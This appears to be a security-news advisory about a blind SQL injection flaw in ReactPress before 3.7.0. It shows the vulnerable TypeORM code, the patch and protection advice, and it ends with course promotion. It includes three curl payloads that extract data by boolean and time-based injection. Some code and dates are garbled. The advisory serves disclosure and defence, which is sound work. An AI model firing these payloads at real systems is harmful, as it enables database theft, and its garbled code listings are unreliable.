Listen to this Post
ReactPress is a publishing system for React developers built on NestJS and TypeORM. Prior to version 3.7.0, the API list endpoints construct TypeORM `QueryBuilder` conditions using unsanitized HTTP query parameter names directly as SQL column identifiers. The vulnerable pattern appears in `findAll()` methods across multiple services, where query parameters are iterated and interpolated into the query as `.${key}` , with only the value being parameterized via .setParameter(). Because TypeORM parameterizes values but not column names, an attacker can supply a crafted query string key that injects arbitrary SQL into the column identifier position. This enables unauthenticated blind SQL injection against the application database. An attacker can exploit boolean-based or time-based techniques to extract sensitive information including user credentials, application settings, API keys, and content. The affected endpoints are unauthenticated GET routes under /api/, /api/comment, /api/file, /api/page, and /api/Knowledge. The flaw is classified as CWE-89 (Improper Neutralization of Special Elements used in an SQL Command) and carries a CVSS v3.1 base score of 7.5 (High) with vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
DailyCVE Form:
Platform: ReactPress
Version: <3.7.0
Vulnerability : SQLi
Severity: High
date: 2026-09-22
Prediction: 2026-06-23
What Undercode Say:
Vulnerable pattern (pre-3.7.0)
server/src/modules//.service.ts
if (otherParams) {
Object.keys(otherParams).forEach((key) => {
query.andWhere(<code>.${key} LIKE :${key}</code>)
.setParameter(<code>${key}</code>, <code>%${otherParams[bash]}%</code>);
});
}
Patch (3.7.0)
server/src/utils/query-whitelist.util.ts
const filtered = filterByWhitelist('', queryParams);
Object.keys(filtered).forEach((key) => {
query.andWhere(<code>.${key} LIKE :${key}</code>)
.setParameter(<code>${key}</code>, <code>%${filtered[bash]}%</code>);
});
Exploit: (Educational Purposes!)
Probe for SQL injection via boolean-based blind technique curl "http://target:3002/api/?.%20LIKE%20'%25'%20OR%201=1--=1" Time-based blind extraction (MySQL) curl "http://target:3002/api/?.%20LIKE%20'%25'%20OR%20SLEEP(5)--=1" Extract database name character by character curl "http://target:3002/api/?.%20LIKE%20'%25'%20OR%20(SELECT%20SUBSTRING(database(),1,1))='r'--=1"
Protection:
- Upgrade to
@fecommunity/reactpress >= 3.7.0. - Implement a whitelist of allowed filter column names and reject any query parameter key not present in the whitelist before interpolation into SQL.
- Validate and sanitize all user-supplied input at the application boundary, never trusting HTTP parameter names as safe SQL identifiers.
- Apply the principle of least privilege to the database user account used by the application to limit the impact of successful injection.
Impact:
An unauthenticated remote attacker can perform blind SQL injection against the ReactPress application database. This may lead to the exfiltration of sensitive data including user records, application settings, API keys, and private content. The vulnerability requires no authentication, no user interaction, and can be exploited over the network with low attack complexity.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
